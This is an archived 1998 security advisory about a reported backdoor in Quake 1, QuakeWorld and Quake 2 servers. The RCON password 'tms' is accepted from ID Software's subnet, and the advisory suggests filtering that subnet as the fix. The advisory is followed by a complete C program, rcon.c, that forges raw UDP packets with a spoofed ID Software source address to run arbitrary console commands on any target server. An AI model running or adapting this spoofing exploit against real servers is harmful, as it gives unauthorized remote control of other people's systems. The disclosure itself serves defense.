ID games Backdoor in quake
Description: | ID software blatantly put a backdoor in Quake 1/2 and QuakeWorld including both the Linux/Solaris Quake2. RCON commands sent from the subnet 192.246.40.0/24 and containing the password "tms" are automaticly executed on the server without being logged. |
Author: | Mark Zielinski <markz@repsec.com> |
Compromise: | root (remote) |
Vulnerable Systems: | Those running Quake 1, QuakeWorld, Quake 2, Quake 2 Linux and Quake 2 Solaris, all versions. Thus many Windows and UNIX boxes are affected |
Date: | 1 May 1998 |
Notes: | Quake was always a horrible security hole, but I never thought Id would stoop to introducing an intentional backdoor to allow them access to systems running Quake. I am surprised this didn't get more publicity. |
Date: Fri, 1 May 1998 04:12:33 -0600 (MDT)
From: mea culpa <jericho@dimensional.com>
To: InfoSec News <isn@sekurity.org>
Subject: [ISN] RSI.0001.05-01-98.ALL.QUAKE_SERVER
Forwarded From: RSI Advise <advise@repsec.com>
RSI.0001.05-01-98.ALL.QUAKE_SERVER
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Repent Security Incorporated, RSI
[ http://www.repsec.com ]
*** RSI ALERT ADVISORY ***
--- [CREDIT] --------------------------------------------------------------
Vulnerability found by: Mark Zielinski <markz@repsec.com>
Advisory Author: Mark Zielinski
--- [SUMMARY] -------------------------------------------------------------
Announced: May 1st, 1998
Report code: RSI.0001.05-01-98.ALL.QUAKE_SERVER
Report title: Vulnerability in the Quake server
Vulnerability: RCON (Remote Console)
Patch status: None currently available
Platforms: Quake 1/2, QuakeWorld, Linux/Solaris Quake2
Reference: http://www.repsec.com/advisories.html
Impact: If exploited, an attacker could remotely compromise
administrator access on any Quake server.
--- [DETAILS] -------------------------------------------------------------
Problem: The Quake server has a feature where it allows
administrators to remotely send commands to the Quake
console with a password. However, it is possible to
remotely bypass authentication.
In order for this to be exploited, the attacker would
have to create a handcrafted udp packet with a header
containing the rcon command and the password "tms" with
a source IP coming from ID Software's Subnet. (192.246.40)
The Quake server does not require an open connection for
sending the rcon packet. When this is exploited, no logs
are reported of the rcon command being used.
This vulnerability is present in Quake 1, QuakeWorld,
Quake 2, Quake 2 Linux and Quake 2 Solaris, all versions.
--- [FIX] -----------------------------------------------------------------
Solution: Filter all incoming packets from the subnet 192.246.40.
--- [PATCH] ---------------------------------------------------------------
Solution: No patches are currently available.
---------------------------------------------------------------------------
Repent Security Incorporated (RSI)
advise@repsec.com
13610 N. Scottsdale Rd.
Suite #10-326
Scottsdale, AZ 85254
[ http://www.repsec.com ]
---------------------------------------------------------------------------
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Copyright April 1998 RepSec, Inc.
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/* rcon.c
Quake world rcon_password bug implimentation by Jeff Roberson, <jroberson@chesapeake.net> (VallaH)
Linux 2.0.33 source, will compile on BSD if you modify the ip header etc.
Please note that I did not discover this, I simply wrote the code.
Thanks to Nick Toomey, <ntoomey@chesapeake.net> (Grifter)
Brief summary:
Any rcon command coming from the idsoftware subnet 192.246.40 with the rcon password of tms will be accepted on any server. This program simply spoofs a packet from vader.idsoftware.com (random pick) to whatever server you identify.
Usage:
./rcon ip/host "what you want to do" [port]
Example:
./rcon quake.idsoftware.com "say This program works, thanks Jeff" 27500
the port argument is optional, you may omit it if you like and it will default to 27500.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#define SIP "192.246.40.42" /* vader.idsoftware.com */
#define command "˙˙˙˙rcon tms "
u_long resolve_address(u_char *host)
{
struct in_addr addr;
struct hostent *he;
if((addr.s_addr = inet_addr(host)) == -1) {
if (!(he = gethostbyname(host))) {
printf("Unknown address: %s\n", host);
exit(-1);
}
bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
}
return(addr.s_addr);
}
int main(int argc, char **argv)
{
int s;
int port=27500;
char buf[512];
struct sockaddr_in dst;
struct iphdr *iph=(struct iphdr *)buf;
struct udphdr *udp=(struct udphdr *)(buf + 20);
if (argc<3) {
printf("usage:\n");
printf("\t%s ip ""command"" <port>\n", argv[0]);
exit(-1);
}
if (argc==4) port = atoi(argv[3]);
bzero(buf, sizeof(buf));
bzero((char *)&dst, sizeof(dst));
iph->version=4;
iph->ihl=5;
iph->tos=0;
iph->tot_len=htons(sizeof(buf));
iph->id=htons(1234);
iph->frag_off=0;
iph->ttl=255;
iph->protocol=17;
iph->saddr=inet_addr(SIP);
iph->daddr=resolve_address(argv[1]);
udp->source=htons(1234);
udp->dest=htons(port);
udp->len=htons(sizeof(buf) - 20);
dst.sin_family=PF_INET;
dst.sin_addr.s_addr=iph->daddr;
dst.sin_port=htons(27500);
sprintf((buf + 28), "%s%s\n", command, argv[2]);
if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) {
perror("sendto");
exit(-1);
}
exit(1);
}
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